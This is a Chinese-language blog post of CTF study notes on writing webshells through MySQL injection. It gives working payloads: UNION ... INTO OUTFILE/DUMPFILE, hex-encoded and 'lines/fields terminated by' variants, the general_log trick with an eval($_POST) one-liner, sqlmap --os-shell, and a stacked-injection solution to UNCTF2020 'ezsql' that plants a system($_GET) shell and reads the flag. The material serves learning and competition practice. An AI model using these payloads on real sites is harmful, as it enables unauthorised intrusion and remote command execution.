MySQL写shell总结

695 阅读2分钟

写在前面

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第1天,点击查看活动详情 最近一直在咕咕咕,感觉有好多好多事啊,这不是借口(划掉),打了好几个CTF,发现web里面好几个需要SQL注入写shell的,感觉自己之前学的一点都不好,所以重新总结一下啦

条件:

  1. 知道网站的绝对路径,可以通过报错或者phpinfo得知,一般在/var/www/html文件下,win下路径要用\\分割
  2. show global variables like '%secure%';不能为null
  3. 要有写文件权限

方式

union select

无限制

使用into outfile,使用这个命令必须要有file权限

FILE权限指的是对服务器主机上文件的访问,数据库用户拥有FILE权限才可以执行select into outfile,load data infile操作

http://x.x.x.x/x.php?id=1 union select 1,’<?php phpinfo() ?>’ into outfile ‘var/www/html/webshell.php’
http://1.1.1.1/x/x.php?id=1 union select 1,’<?php phpinfo() ?>’ into dumpfile ‘绝对路径/webshell.php’

十六进制编码

http://1.1.1.1/x/x.php?id=1 union select 1,3c3f70687020706870696e666f2829203f3e into dumpfile ‘绝对路径/webshell.php’

fields terminated by

http://1.1.1.1/x/x.php?id=1 into outfile '绝对路径/webshell.php' fields terminated by '<?php phpinfo() ?>' 

原理:fields terminated by:以每个字段的位置添加xx内容

lines starting by

http://1.1.1.1/x/x.php?id=1 into outfile 'D:/xxx/sqlilabs/Less-7/' lines starting by '<?php phpinfo() ?>' 

lines terminated by

http://1.1.1.1/x/x.php?id=1 limit 1 into outfile 'D:/xxx/sqlilabs/Less-7/' lines terminated by '<?php phpinfo() ?>' 

日志写shell

当show global variables like '%secure%';为null时也有效 给root权限

UPDATE mysql.user set File_priv ='Y';flush privileges;

查询当前mysql下log日志的默认地址,根据路径推算出默认的user.MYD路径

show variables like '%general%';

开启日志检测

set global general_log=on;

设置写入的路径,

set global general_log_file='网站绝对路径/t.php';

查询一个一句话,日志里面也就会记录下

select '<?php eval($_POST[t]) ?>';

sqlmap写shell

查看权限

python3 sqlmap.py -u "127.0.0.1/sqlilabs/Less-7/?id=1" --is-dba

写shell

python3 sqlmap.py -u "127.0.0.1/sqlilabs/Less-7/?id=1" --os-shell

ezsql

unctf2020的一道题目,题目提示说flag不在数据库中,所以即使注出来库也没什么用,经过尝试知道为堆叠注入,所以使用堆叠注入写shell

image.png

过滤的内容为

image.png

根据waf可知不能同时使用set和prepare 这里使用prepaer进行注入

写shell

?inject=-1%27;prepare+test+from+concat("se","lect+%27<?php%20system($_GET[shell]);?>%27%20into%20outfile%20%27/var/www/html/test_shell",char(46),"php%27");execute+test;--%20-

ls显示内容

http://93806903-8ba7-42e2-b04a-6e6740b841b6.node1.hackingfor.fun/test_shell.php?shell=ls%20/

读flag

http://93806903-8ba7-42e2-b04a-6e6740b841b6.node1.hackingfor.fun/test_shell.php?shell=cat%20/fffllaagg